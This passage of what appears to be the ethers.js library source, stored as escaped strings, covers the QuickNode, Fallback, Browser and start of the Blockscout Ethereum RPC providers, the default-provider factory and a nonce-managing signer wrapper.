(token == null) {\n token = defaultToken;\n }\n const request = QuickNodeProvider.getRequest(network, token);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { token });\n }\n _getProvider(chainId) {\n try {\n return new QuickNodeProvider(chainId, this.token);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.token === defaultToken);\n }\n /**\n * Returns a new request prepared for %%network%% and the\n * %%token%%.\n */\n static getRequest(network, token) {\n if (token == null) {\n token = defaultToken;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${token}`);\n request.allowGzip = true;\n //if (projectSecret) { request.setCredentials(\"\", projectSecret); }\n if (token === defaultToken) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"QuickNodeProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-quicknode.js.map","/**\n * A **FallbackProvider** provides resilience, security and performance\n * in a way that is customizable and configurable.\n *\n * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider]\n */\nimport { assert, assertArgument, getBigInt, getNumber, isError } from \"../utils/index.js\";\nimport { AbstractProvider } from \"./abstract-provider.js\";\nimport { Network } from \"./network.js\";\nconst BN_1 = BigInt(\"1\");\nconst BN_2 = BigInt(\"2\");\nfunction shuffle(array) {\n for (let i = array.length - 1; i > 0; i--) {\n const j = Math.floor(Math.random() * (i + 1));\n const tmp = array[i];\n array[i] = array[j];\n array[j] = tmp;\n }\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(resolve, duration); });\n}\nfunction getTime() { return (new Date()).getTime(); }\nfunction stringify(value) {\n return JSON.stringify(value, (key, value) => {\n if (typeof (value) === \"bigint\") {\n return { type: \"bigint\", value: value.toString() };\n }\n return value;\n });\n}\n;\nconst defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 };\nconst defaultState = {\n blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0,\n outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0,\n _network: null, _updateNumber: null, _totalTime: 0,\n _lastFatalError: null, _lastFatalErrorTimestamp: 0\n};\nasync function waitForSync(config, blockNumber) {\n while (config.blockNumber < 0 || config.blockNumber < blockNumber) {\n if (!config._updateNumber) {\n config._updateNumber = (async () => {\n try {\n const blockNumber = await config.provider.getBlockNumber();\n if (blockNumber > config.blockNumber) {\n config.blockNumber = blockNumber;\n }\n }\n catch (error) {\n config.blockNumber = -2;\n config._lastFatalError = error;\n config._lastFatalErrorTimestamp = getTime();\n }\n config._updateNumber = null;\n })();\n }\n await config._updateNumber;\n config.outOfSync++;\n if (config._lastFatalError) {\n break;\n }\n }\n}\nfunction _normalize(value) {\n if (value == null) {\n return \"null\";\n }\n if (Array.isArray(value)) {\n return \"[\" + (value.map(_normalize)).join(\",\") + \"]\";\n }\n if (typeof (value) === \"object\" && typeof (value.toJSON) === \"function\") {\n return _normalize(value.toJSON());\n }\n switch (typeof (value)) {\n case \"boolean\":\n case \"symbol\":\n return value.toString();\n case \"bigint\":\n case \"number\":\n return BigInt(value).toString();\n case \"string\":\n return JSON.stringify(value);\n case \"object\": {\n const keys = Object.keys(value);\n keys.sort();\n return \"{\" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(\",\") + \"}\";\n }\n }\n console.log(\"Could not serialize\", value);\n throw new Error(\"Hmm...\");\n}\nfunction normalizeResult(method, value) {\n if (\"error\" in value) {\n const error = value.error;\n let tag;\n if (isError(error, \"CALL_EXCEPTION\")) {\n tag = _normalize(Object.assign({}, error, {\n shortMessage: undefined, reason: undefined, info: undefined\n }));\n }\n else {\n tag = _normalize(error);\n }\n return { tag, value: error };\n }\n const result = value.result;\n return { tag: _normalize(result), value: result };\n}\n// This strategy picks the highest weight result, as long as the weight is\n// equal to or greater than quorum\nfunction checkQuorum(quorum, results) {\n const tally = new Map();\n for (const { value, tag, weight } of results) {\n const t = tally.get(tag) || { value, weight: 0 };\n t.weight += weight;\n tally.set(tag, t);\n }\n let best = null;\n for (const r of tally.values()) {\n if (r.weight >= quorum && (!best || r.weight > best.weight)) {\n best = r;\n }\n }\n if (best) {\n return best.value;\n }\n return undefined;\n}\nfunction getMedian(quorum, results) {\n let resultWeight = 0;\n const errorMap = new Map();\n let bestError = null;\n const values = [];\n for (const { value, tag, weight } of results) {\n if (value instanceof Error) {\n const e = errorMap.get(tag) || { value, weight: 0 };\n e.weight += weight;\n errorMap.set(tag, e);\n if (bestError == null || e.weight > bestError.weight) {\n bestError = e;\n }\n }\n else {\n values.push(BigInt(value));\n resultWeight += weight;\n }\n }\n if (resultWeight < quorum) {\n // We have quorum for an error\n if (bestError && bestError.weight >= quorum) {\n return bestError.value;\n }\n // We do not have quorum for a result\n return undefined;\n }\n // Get the sorted values\n values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0));\n const mid = Math.floor(values.length / 2);\n // Odd-length; take the middle value\n if (values.length % 2) {\n return values[mid];\n }\n // Even length; take the ceiling of the mean of the center two values\n return (values[mid - 1] + values[mid] + BN_1) / BN_2;\n}\nfunction getAnyResult(quorum, results) {\n // If any value or error meets quorum, that is our preferred result\n const result = checkQuorum(quorum, results);\n if (result !== undefined) {\n return result;\n }\n // Otherwise, do we have any result?\n for (const r of results) {\n if (r.value) {\n return r.value;\n }\n }\n // Nope!\n return undefined;\n}\nfunction getFuzzyMode(quorum, results) {\n if (quorum === 1) {\n return getNumber(getMedian(quorum, results), \"%internal\");\n }\n const tally = new Map();\n const add = (result, weight) => {\n const t = tally.get(result) || { result, weight: 0 };\n t.weight += weight;\n tally.set(result, t);\n };\n for (const { weight, value } of results) {\n const r = getNumber(value);\n add(r - 1, weight);\n add(r, weight);\n add(r + 1, weight);\n }\n let bestWeight = 0;\n let bestResult = undefined;\n for (const { weight, result } of tally.values()) {\n // Use this result, if this result meets quorum and has either:\n // - a better weight\n // - or equal weight, but the result is larger\n if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) {\n bestWeight = weight;\n bestResult = result;\n }\n }\n return bestResult;\n}\n/**\n * A **FallbackProvider** manages several [[Providers]] providing\n * resilience by switching between slow or misbehaving nodes, security\n * by requiring multiple backends to aggree and performance by allowing\n * faster backends to respond earlier.\n *\n */\nexport class FallbackProvider extends AbstractProvider {\n /**\n * The number of backends that must agree on a value before it is\n * accpeted.\n */\n quorum;\n /**\n * @_ignore:\n */\n eventQuorum;\n /**\n * @_ignore:\n */\n eventWorkers;\n #configs;\n #height;\n #initialSyncPromise;\n /**\n * Creates a new **FallbackProvider** with %%providers%% connected to\n * %%network%%.\n *\n * If a [[Provider]] is included in %%providers%%, defaults are used\n * for the configuration.\n */\n constructor(providers, network, options) {\n super(network, options);\n this.#configs = providers.map((p) => {\n if (p instanceof AbstractProvider) {\n return Object.assign({ provider: p }, defaultConfig, defaultState);\n }\n else {\n return Object.assign({}, defaultConfig, p, defaultState);\n }\n });\n this.#height = -2;\n this.#initialSyncPromise = null;\n if (options && options.quorum != null) {\n this.quorum = options.quorum;\n }\n else {\n this.quorum = Math.ceil(this.#configs.reduce((accum, config) => {\n accum += config.weight;\n return accum;\n }, 0) / 2);\n }\n this.eventQuorum = 1;\n this.eventWorkers = 1;\n assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), \"quorum exceed provider weight\", \"quorum\", this.quorum);\n }\n get providerConfigs() {\n return this.#configs.map((c) => {\n const result = Object.assign({}, c);\n for (const key in result) {\n if (key[0] === \"_\") {\n delete result[key];\n }\n }\n return result;\n });\n }\n async _detectNetwork() {\n return Network.from(getBigInt(await this._perform({ method: \"chainId\" })));\n }\n // @TODO: Add support to select providers to be the event subscriber\n //_getSubscriber(sub: Subscription): Subscriber {\n // throw new Error(\"@TODO\");\n //}\n /**\n * Transforms a %%req%% into the correct method call on %%provider%%.\n */\n async _translatePerform(provider, req) {\n switch (req.method) {\n case \"broadcastTransaction\":\n return await provider.broadcastTransaction(req.signedTransaction);\n case \"call\":\n return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag }));\n case \"chainId\":\n return (await provider.getNetwork()).chainId;\n case \"estimateGas\":\n return await provider.estimateGas(req.transaction);\n case \"getBalance\":\n return await provider.getBalance(req.address, req.blockTag);\n case \"getBlock\": {\n const block = (\"blockHash\" in req) ? req.blockHash : req.blockTag;\n return await provider.getBlock(block, req.includeTransactions);\n }\n case \"getBlockNumber\":\n return await provider.getBlockNumber();\n case \"getCode\":\n return await provider.getCode(req.address, req.blockTag);\n case \"getGasPrice\":\n return (await provider.getFeeData()).gasPrice;\n case \"getPriorityFee\":\n return (await provider.getFeeData()).maxPriorityFeePerGas;\n case \"getLogs\":\n return await provider.getLogs(req.filter);\n case \"getStorage\":\n return await provider.getStorage(req.address, req.position, req.blockTag);\n case \"getTransaction\":\n return await provider.getTransaction(req.hash);\n case \"getTransactionCount\":\n return await provider.getTransactionCount(req.address, req.blockTag);\n case \"getTransactionReceipt\":\n return await provider.getTransactionReceipt(req.hash);\n case \"getTransactionResult\":\n return await provider.getTransactionResult(req.hash);\n }\n }\n // Grab the next (random) config that is not already part of\n // the running set\n #getNextConfig(running) {\n // @TODO: Maybe do a check here to favour (heavily) providers that\n // do not require waitForSync and disfavour providers that\n // seem down-ish or are behaving slowly\n const configs = Array.from(running).map((r) => r.config);\n // Shuffle the states, sorted by priority\n const allConfigs = this.#configs.slice();\n shuffle(allConfigs);\n allConfigs.sort((a, b) => (a.priority - b.priority));\n for (const config of allConfigs) {\n if (config._lastFatalError) {\n continue;\n }\n if (configs.indexOf(config) === -1) {\n return config;\n }\n }\n return null;\n }\n // Adds a new runner (if available) to running.\n #addRunner(running, req) {\n const config = this.#getNextConfig(running);\n // No runners available\n if (config == null) {\n return null;\n }\n // Create a new runner\n const runner = {\n config, result: null, didBump: false,\n perform: null, staller: null\n };\n const now = getTime();\n // Start performing this operation\n runner.perform = (async () => {\n try {\n config.requests++;\n const result = await this._translatePerform(config.provider, req);\n runner.result = { result };\n }\n catch (error) {\n config.errorResponses++;\n runner.result = { error };\n }\n const dt = (getTime() - now);\n config._totalTime += dt;\n config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt;\n runner.perform = null;\n })();\n // Start a staller; when this times out, it's time to force\n // kicking off another runner because we are taking too long\n runner.staller = (async () => {\n await stall(config.stallTimeout);\n runner.staller = null;\n })();\n running.add(runner);\n return runner;\n }\n // Initializes the blockNumber and network for each runner and\n // blocks until initialized\n async #initialSync() {\n let initialSync = this.#initialSyncPromise;\n if (!initialSync) {\n const promises = [];\n this.#configs.forEach((config) => {\n promises.push((async () => {\n await waitForSync(config, 0);\n if (!config._lastFatalError) {\n config._network = await config.provider.getNetwork();\n }\n })());\n });\n this.#initialSyncPromise = initialSync = (async () => {\n // Wait for all providers to have a block number and network\n await Promise.all(promises);\n // Check all the networks match\n let chainId = null;\n for (const config of this.#configs) {\n if (config._lastFatalError) {\n continue;\n }\n const network = (config._network);\n if (chainId == null) {\n chainId = network.chainId;\n }\n else if (network.chainId !== chainId) {\n assert(false, \"cannot mix providers on different networks\", \"UNSUPPORTED_OPERATION\", {\n operation: \"new FallbackProvider\"\n });\n }\n }\n })();\n }\n await initialSync;\n }\n async #checkQuorum(running, req) {\n // Get all the result objects\n const results = [];\n for (const runner of running) {\n if (runner.result != null) {\n const { tag, value } = normalizeResult(req.method, runner.result);\n results.push({ tag, value, weight: runner.config.weight });\n }\n }\n // Are there enough results to event meet quorum?\n if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) {\n return undefined;\n }\n switch (req.method) {\n case \"getBlockNumber\": {\n // We need to get the bootstrap block height\n if (this.#height === -2) {\n this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({\n value: c.blockNumber,\n tag: getNumber(c.blockNumber).toString(),\n weight: c.weight\n })))));\n }\n // Find the mode across all the providers, allowing for\n // a little drift between block heights\n const mode = getFuzzyMode(this.quorum, results);\n if (mode === undefined) {\n return undefined;\n }\n if (mode > this.#height) {\n this.#height = mode;\n }\n return this.#height;\n }\n case \"getGasPrice\":\n case \"getPriorityFee\":\n case \"estimateGas\":\n return getMedian(this.quorum, results);\n case \"getBlock\":\n // Pending blocks are in the mempool and already\n // quite untrustworthy; just grab anything\n if (\"blockTag\" in req && req.blockTag === \"pending\") {\n return getAnyResult(this.quorum, results);\n }\n return checkQuorum(this.quorum, results);\n case \"call\":\n case \"chainId\":\n case \"getBalance\":\n case \"getTransactionCount\":\n case \"getCode\":\n case \"getStorage\":\n case \"getTransaction\":\n case \"getTransactionReceipt\":\n case \"getLogs\":\n return checkQuorum(this.quorum, results);\n case \"broadcastTransaction\":\n return getAnyResult(this.quorum, results);\n }\n assert(false, \"unsupported method\", \"UNSUPPORTED_OPERATION\", {\n operation: `_perform(${stringify(req.method)})`\n });\n }\n async #waitForQuorum(running, req) {\n if (running.size === 0) {\n throw new Error(\"no runners?!\");\n }\n // Any promises that are interesting to watch for; an expired stall\n // or a successful perform\n const interesting = [];\n let newRunners = 0;\n for (const runner of running) {\n // No responses, yet; keep an eye on it\n if (runner.perform) {\n interesting.push(runner.perform);\n }\n // Still stalling...\n if (runner.staller) {\n interesting.push(runner.staller);\n continue;\n }\n // This runner has already triggered another runner\n if (runner.didBump) {\n continue;\n }\n // Got a response (result or error) or stalled; kick off another runner\n runner.didBump = true;\n newRunners++;\n }\n // Check if we have reached quorum on a result (or error)\n const value = await this.#checkQuorum(running, req);\n if (value !== undefined) {\n if (value instanceof Error) {\n throw value;\n }\n return value;\n }\n // Add any new runners, because a staller timed out or a result\n // or error response came in.\n for (let i = 0; i < newRunners; i++) {\n this.#addRunner(running, req);\n }\n // All providers have returned, and we have no result\n assert(interesting.length > 0, \"quorum not met\", \"SERVER_ERROR\", {\n request: \"%sub-requests\",\n info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) }\n });\n // Wait for someone to either complete its perform or stall out\n await Promise.race(interesting);\n // This is recursive, but at worst case the depth is 2x the\n // number of providers (each has a perform and a staller)\n return await this.#waitForQuorum(running, req);\n }\n async _perform(req) {\n // Broadcasting a transaction is rare (ish) and already incurs\n // a cost on the user, so spamming is safe-ish. Just send it to\n // every backend.\n if (req.method === \"broadcastTransaction\") {\n // Once any broadcast provides a positive result, use it. No\n // need to wait for anyone else\n const results = this.#configs.map((c) => null);\n const broadcasts = this.#configs.map(async ({ provider, weight }, index) => {\n try {\n const result = await provider._perform(req);\n results[index] = Object.assign(normalizeResult(req.method, { result }), { weight });\n }\n catch (error) {\n results[index] = Object.assign(normalizeResult(req.method, { error }), { weight });\n }\n });\n // As each promise finishes...\n while (true) {\n // Check for a valid broadcast result\n const done = results.filter((r) => (r != null));\n for (const { value } of done) {\n if (!(value instanceof Error)) {\n return value;\n }\n }\n // Check for a legit broadcast error (one which we cannot\n // recover from; some nodes may return the following red\n // herring events:\n // - alredy seend (UNKNOWN_ERROR)\n // - NONCE_EXPIRED\n // - REPLACEMENT_UNDERPRICED\n const result = checkQuorum(this.quorum, results.filter((r) => (r != null)));\n if (isError(result, \"INSUFFICIENT_FUNDS\")) {\n throw result;\n }\n // Kick off the next provider (if any)\n const waiting = broadcasts.filter((b, i) => (results[i] == null));\n if (waiting.length === 0) {\n break;\n }\n await Promise.race(waiting);\n }\n // Use standard quorum results; any result was returned above,\n // so this will find any error that met quorum if any\n const result = getAnyResult(this.quorum, results);\n assert(result !== undefined, \"problem multi-broadcasting\", \"SERVER_ERROR\", {\n request: \"%sub-requests\",\n info: { request: req, results: results.map(stringify) }\n });\n if (result instanceof Error) {\n throw result;\n }\n return result;\n }\n await this.#initialSync();\n // Bootstrap enough runners to meet quorum\n const running = new Set();\n let inflightQuorum = 0;\n while (true) {\n const runner = this.#addRunner(running, req);\n if (runner == null) {\n break;\n }\n inflightQuorum += runner.config.weight;\n if (inflightQuorum >= this.quorum) {\n break;\n }\n }\n const result = await this.#waitForQuorum(running, req);\n // Track requests sent to a provider that are still\n // outstanding after quorum has been otherwise found\n for (const runner of running) {\n if (runner.perform && runner.result == null) {\n runner.config.lateResponses++;\n }\n }\n return result;\n }\n async destroy() {\n for (const { provider } of this.#configs) {\n provider.destroy();\n }\n super.destroy();\n }\n}\n//# sourceMappingURL=provider-fallback.js.map","import { assert } from \"../utils/index.js\";\nimport { AnkrProvider } from \"./provider-ankr.js\";\nimport { AlchemyProvider } from \"./provider-alchemy.js\";\n//import { BlockscoutProvider } from \"./provider-blockscout.js\";\nimport { ChainstackProvider } from \"./provider-chainstack.js\";\nimport { CloudflareProvider } from \"./provider-cloudflare.js\";\nimport { EtherscanProvider } from \"./provider-etherscan.js\";\nimport { InfuraProvider } from \"./provider-infura.js\";\n//import { PocketProvider } from \"./provider-pocket.js\";\nimport { QuickNodeProvider } from \"./provider-quicknode.js\";\nimport { FallbackProvider } from \"./provider-fallback.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nimport { Network } from \"./network.js\";\nimport { WebSocketProvider } from \"./provider-websocket.js\";\nfunction isWebSocketLike(value) {\n return (value && typeof (value.send) === \"function\" &&\n typeof (value.close) === \"function\");\n}\nconst Testnets = \"goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt\".split(\" \");\n/**\n * Returns a default provider for %%network%%.\n *\n * If %%network%% is a [[WebSocketLike]] or string that begins with\n * ``\"ws:\"`` or ``\"wss:\"``, a [[WebSocketProvider]] is returned backed\n * by that WebSocket or URL.\n *\n * If %%network%% is a string that begins with ``\"HTTP:\"`` or ``\"HTTPS:\"``,\n * a [[JsonRpcProvider]] is returned connected to that URL.\n *\n * Otherwise, a default provider is created backed by well-known public\n * Web3 backends (such as [[link-infura]]) using community-provided API\n * keys.\n *\n * The %%options%% allows specifying custom API keys per backend (setting\n * an API key to ``\"-\"`` will omit that provider) and ``options.exclusive``\n * can be set to either a backend name or and array of backend names, which\n * will whitelist **only** those backends.\n *\n * Current backend strings supported are:\n * - ``\"alchemy\"``\n * - ``\"ankr\"``\n * - ``\"cloudflare\"``\n * - ``\"chainstack\"``\n * - ``\"etherscan\"``\n * - ``\"infura\"``\n * - ``\"publicPolygon\"``\n * - ``\"quicknode\"``\n *\n * @example:\n * // Connect to a local Geth node\n * provider = getDefaultProvider(\"http://localhost:8545/\");\n *\n * // Connect to Ethereum mainnet with any current and future\n * // third-party services available\n * provider = getDefaultProvider(\"mainnet\");\n *\n * // Connect to Polygon, but only allow Etherscan and\n * // INFURA and use \"MY_API_KEY\" in calls to Etherscan.\n * provider = getDefaultProvider(\"matic\", {\n * etherscan: \"MY_API_KEY\",\n * exclusive: [ \"etherscan\", \"infura\" ]\n * });\n */\nexport function getDefaultProvider(network, options) {\n if (options == null) {\n options = {};\n }\n const allowService = (name) => {\n if (options[name] === \"-\") {\n return false;\n }\n if (typeof (options.exclusive) === \"string\") {\n return (name === options.exclusive);\n }\n if (Array.isArray(options.exclusive)) {\n return (options.exclusive.indexOf(name) !== -1);\n }\n return true;\n };\n if (typeof (network) === \"string\" && network.match(/^https?:/)) {\n return new JsonRpcProvider(network);\n }\n if (typeof (network) === \"string\" && network.match(/^wss?:/) || isWebSocketLike(network)) {\n return new WebSocketProvider(network);\n }\n // Get the network and name, if possible\n let staticNetwork = null;\n try {\n staticNetwork = Network.from(network);\n }\n catch (error) { }\n const providers = [];\n if (allowService(\"publicPolygon\") && staticNetwork) {\n if (staticNetwork.name === \"matic\") {\n providers.push(new JsonRpcProvider(\"https:/\\/polygon-rpc.com/\", staticNetwork, { staticNetwork }));\n }\n else if (staticNetwork.name === \"matic-amoy\") {\n providers.push(new JsonRpcProvider(\"https:/\\/rpc-amoy.polygon.technology/\", staticNetwork, { staticNetwork }));\n }\n }\n if (allowService(\"alchemy\")) {\n try {\n providers.push(new AlchemyProvider(network, options.alchemy));\n }\n catch (error) { }\n }\n if (allowService(\"ankr\") && options.ankr != null) {\n try {\n providers.push(new AnkrProvider(network, options.ankr));\n }\n catch (error) { }\n }\n /* Temporarily remove until custom error issue is fixed\n if (allowService(\"blockscout\")) {\n try {\n providers.push(new BlockscoutProvider(network, options.blockscout));\n } catch (error) { }\n }\n */\n if (allowService(\"chainstack\")) {\n try {\n providers.push(new ChainstackProvider(network, options.chainstack));\n }\n catch (error) { }\n }\n if (allowService(\"cloudflare\")) {\n try {\n providers.push(new CloudflareProvider(network));\n }\n catch (error) { }\n }\n if (allowService(\"etherscan\")) {\n try {\n providers.push(new EtherscanProvider(network, options.etherscan));\n }\n catch (error) { }\n }\n if (allowService(\"infura\")) {\n try {\n let projectId = options.infura;\n let projectSecret = undefined;\n if (typeof (projectId) === \"object\") {\n projectSecret = projectId.projectSecret;\n projectId = projectId.projectId;\n }\n providers.push(new InfuraProvider(network, projectId, projectSecret));\n }\n catch (error) { }\n }\n /*\n if (options.pocket !== \"-\") {\n try {\n let appId = options.pocket;\n let secretKey: undefined | string = undefined;\n let loadBalancer: undefined | boolean = undefined;\n if (typeof(appId) === \"object\") {\n loadBalancer = !!appId.loadBalancer;\n secretKey = appId.secretKey;\n appId = appId.appId;\n }\n providers.push(new PocketProvider(network, appId, secretKey, loadBalancer));\n } catch (error) { console.log(error); }\n }\n */\n if (allowService(\"quicknode\")) {\n try {\n let token = options.quicknode;\n providers.push(new QuickNodeProvider(network, token));\n }\n catch (error) { }\n }\n assert(providers.length, \"unsupported default network\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getDefaultProvider\"\n });\n // No need for a FallbackProvider\n if (providers.length === 1) {\n return providers[0];\n }\n // We use the floor because public third-party providers can be unreliable,\n // so a low number of providers with a large quorum will fail too often\n let quorum = Math.floor(providers.length / 2);\n if (quorum > 2) {\n quorum = 2;\n }\n // Testnets don't need as strong a security gaurantee and speed is\n // more useful during testing\n if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) {\n quorum = 1;\n }\n // Provided override qorum takes priority\n if (options && options.quorum) {\n quorum = options.quorum;\n }\n return new FallbackProvider(providers, undefined, { quorum });\n}\n//# sourceMappingURL=default-provider.js.map","import { defineProperties } from \"../utils/index.js\";\nimport { AbstractSigner } from \"./abstract-signer.js\";\n/**\n * A **NonceManager** wraps another [[Signer]] and automatically manages\n * the nonce, ensuring serialized and sequential nonces are used during\n * transaction.\n */\nexport class NonceManager extends AbstractSigner {\n /**\n * The Signer being managed.\n */\n signer;\n #noncePromise;\n #delta;\n /**\n * Creates a new **NonceManager** to manage %%signer%%.\n */\n constructor(signer) {\n super(signer.provider);\n defineProperties(this, { signer });\n this.#noncePromise = null;\n this.#delta = 0;\n }\n async getAddress() {\n return this.signer.getAddress();\n }\n connect(provider) {\n return new NonceManager(this.signer.connect(provider));\n }\n async getNonce(blockTag) {\n if (blockTag === \"pending\") {\n if (this.#noncePromise == null) {\n this.#noncePromise = super.getNonce(\"pending\");\n }\n const delta = this.#delta;\n return (await this.#noncePromise) + delta;\n }\n return super.getNonce(blockTag);\n }\n /**\n * Manually increment the nonce. This may be useful when managng\n * offline transactions.\n */\n increment() {\n this.#delta++;\n }\n /**\n * Resets the nonce, causing the **NonceManager** to reload the current\n * nonce from the blockchain on the next transaction.\n */\n reset() {\n this.#delta = 0;\n this.#noncePromise = null;\n }\n async sendTransaction(tx) {\n const noncePromise = this.getNonce(\"pending\");\n this.increment();\n tx = await this.signer.populateTransaction(tx);\n tx.nonce = await noncePromise;\n // @TODO: Maybe handle interesting/recoverable errors?\n // Like don't increment if the tx was certainly not sent\n return await this.signer.sendTransaction(tx);\n }\n signTransaction(tx) {\n return this.signer.signTransaction(tx);\n }\n signMessage(message) {\n return this.signer.signMessage(message);\n }\n signTypedData(domain, types, value) {\n return this.signer.signTypedData(domain, types, value);\n }\n}\n//# sourceMappingURL=signer-noncemanager.js.map","import { assertArgument, makeError } from \"../utils/index.js\";\nimport { JsonRpcApiPollingProvider } from \"./provider-jsonrpc.js\";\n;\n/**\n * A **BrowserProvider** is intended to wrap an injected provider which\n * adheres to the [[link-eip-1193]] standard, which most (if not all)\n * currently do.\n */\nexport class BrowserProvider extends JsonRpcApiPollingProvider {\n #request;\n #providerInfo;\n /**\n * Connect to the %%ethereum%% provider, optionally forcing the\n * %%network%%.\n */\n constructor(ethereum, network, _options) {\n // Copy the options\n const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 });\n assertArgument(ethereum && ethereum.request, \"invalid EIP-1193 provider\", \"ethereum\", ethereum);\n super(network, options);\n this.#providerInfo = null;\n if (_options && _options.providerInfo) {\n this.#providerInfo = _options.providerInfo;\n }\n this.#request = async (method, params) => {\n const payload = { method, params };\n this.emit(\"debug\", { action: \"sendEip1193Request\", payload });\n try {\n const result = await ethereum.request(payload);\n this.emit(\"debug\", { action: \"receiveEip1193Result\", result });\n return result;\n }\n catch (e) {\n const error = new Error(e.message);\n error.code = e.code;\n error.data = e.data;\n error.payload = payload;\n this.emit(\"debug\", { action: \"receiveEip1193Error\", error });\n throw error;\n }\n };\n }\n get providerInfo() {\n return this.#providerInfo;\n }\n async send(method, params) {\n await this._start();\n return await super.send(method, params);\n }\n async _send(payload) {\n assertArgument(!Array.isArray(payload), \"EIP-1193 does not support batch request\", \"payload\", payload);\n try {\n const result = await this.#request(payload.method, payload.params || []);\n return [{ id: payload.id, result }];\n }\n catch (e) {\n return [{\n id: payload.id,\n error: { code: e.code, data: e.data, message: e.message }\n }];\n }\n }\n getRpcError(payload, error) {\n error = JSON.parse(JSON.stringify(error));\n // EIP-1193 gives us some machine-readable error codes, so rewrite\n // them into Ethers standard errors.\n switch (error.error.code || -1) {\n case 4001:\n error.error.message = `ethers-user-denied: ${error.error.message}`;\n break;\n case 4200:\n error.error.message = `ethers-unsupported: ${error.error.message}`;\n break;\n }\n return super.getRpcError(payload, error);\n }\n /**\n * Resolves to ``true`` if the provider manages the %%address%%.\n */\n async hasSigner(address) {\n if (address == null) {\n address = 0;\n }\n const accounts = await this.send(\"eth_accounts\", []);\n if (typeof (address) === \"number\") {\n return (accounts.length > address);\n }\n address = address.toLowerCase();\n return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0;\n }\n async getSigner(address) {\n if (address == null) {\n address = 0;\n }\n if (!(await this.hasSigner(address))) {\n try {\n await this.#request(\"eth_requestAccounts\", []);\n }\n catch (error) {\n const payload = error.payload;\n throw this.getRpcError(payload, { id: payload.id, error });\n }\n }\n return await super.getSigner(address);\n }\n /**\n * Discover and connect to a Provider in the Browser using the\n * [[link-eip-6963]] discovery mechanism. If no providers are\n * present, ``null`` is resolved.\n */\n static async discover(options) {\n if (options == null) {\n options = {};\n }\n if (options.provider) {\n return new BrowserProvider(options.provider);\n }\n const context = options.window ? options.window :\n (typeof (window) !== \"undefined\") ? window : null;\n if (context == null) {\n return null;\n }\n const anyProvider = options.anyProvider;\n if (anyProvider && context.ethereum) {\n return new BrowserProvider(context.ethereum);\n }\n if (!(\"addEventListener\" in context && \"dispatchEvent\" in context\n && \"removeEventListener\" in context)) {\n return null;\n }\n const timeout = options.timeout ? options.timeout : 300;\n if (timeout === 0) {\n return null;\n }\n return await (new Promise((resolve, reject) => {\n let found = [];\n const addProvider = (event) => {\n found.push(event.detail);\n if (anyProvider) {\n finalize();\n }\n };\n const finalize = () => {\n clearTimeout(timer);\n if (found.length) {\n // If filtering is provided:\n if (options && options.filter) {\n // Call filter, with a copies of found provider infos\n const filtered = options.filter(found.map(i => Object.assign({}, (i.info))));\n if (filtered == null) {\n // No provider selected\n resolve(null);\n }\n else if (filtered instanceof BrowserProvider) {\n // Custom provider created\n resolve(filtered);\n }\n else {\n // Find the matching provider\n let match = null;\n if (filtered.uuid) {\n const matches = found.filter(f => (filtered.uuid === f.info.uuid));\n // @TODO: What should happen if multiple values\n // for the same UUID?\n match = matches[0];\n }\n if (match) {\n const { provider, info } = match;\n resolve(new BrowserProvider(provider, undefined, {\n providerInfo: info\n }));\n }\n else {\n reject(makeError(\"filter returned unknown info\", \"UNSUPPORTED_OPERATION\", {\n value: filtered\n }));\n }\n }\n }\n else {\n // Pick the first found provider\n const { provider, info } = found[0];\n resolve(new BrowserProvider(provider, undefined, {\n providerInfo: info\n }));\n }\n }\n else {\n // Nothing found\n resolve(null);\n }\n context.removeEventListener(\"eip6963:announceProvider\", addProvider);\n };\n const timer = setTimeout(() => { finalize(); }, timeout);\n context.addEventListener(\"eip6963:announceProvider\", addProvider);\n context.dispatchEvent(new Event(\"eip6963:requestProvider\"));\n }));\n }\n}\n//# sourceMappingURL=provider-browser.js.map","/**\n * [[link-blockscout]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Ethereum Classic (``classic``)\n * - Arbitrum (``arbitrum``)\n * - Base (``base``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - Gnosis (``xdai``)\n * - Optimism (``optimism``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n *\n * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout]\n */\nimport { assertArgument, defineProperties, FetchRequest, isHexString } from \"../utils/index.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nfunction getUrl(name) {\n switch (name) {\n case \"mainnet\":\n return \"https:/\\/eth.blockscout.com/api/eth-rpc\";\n case \"sepolia\":\n return \"https:/\\/eth-sepolia.blockscout.com/api/eth-rpc\";\n case \"holesky\":\n return \"https:/\\/eth-holesky.blockscout.com/api/eth-rpc\";\n case \"classic\":\n return \"https:/\\/etc.blockscout.com/api/eth-rpc\";\n case 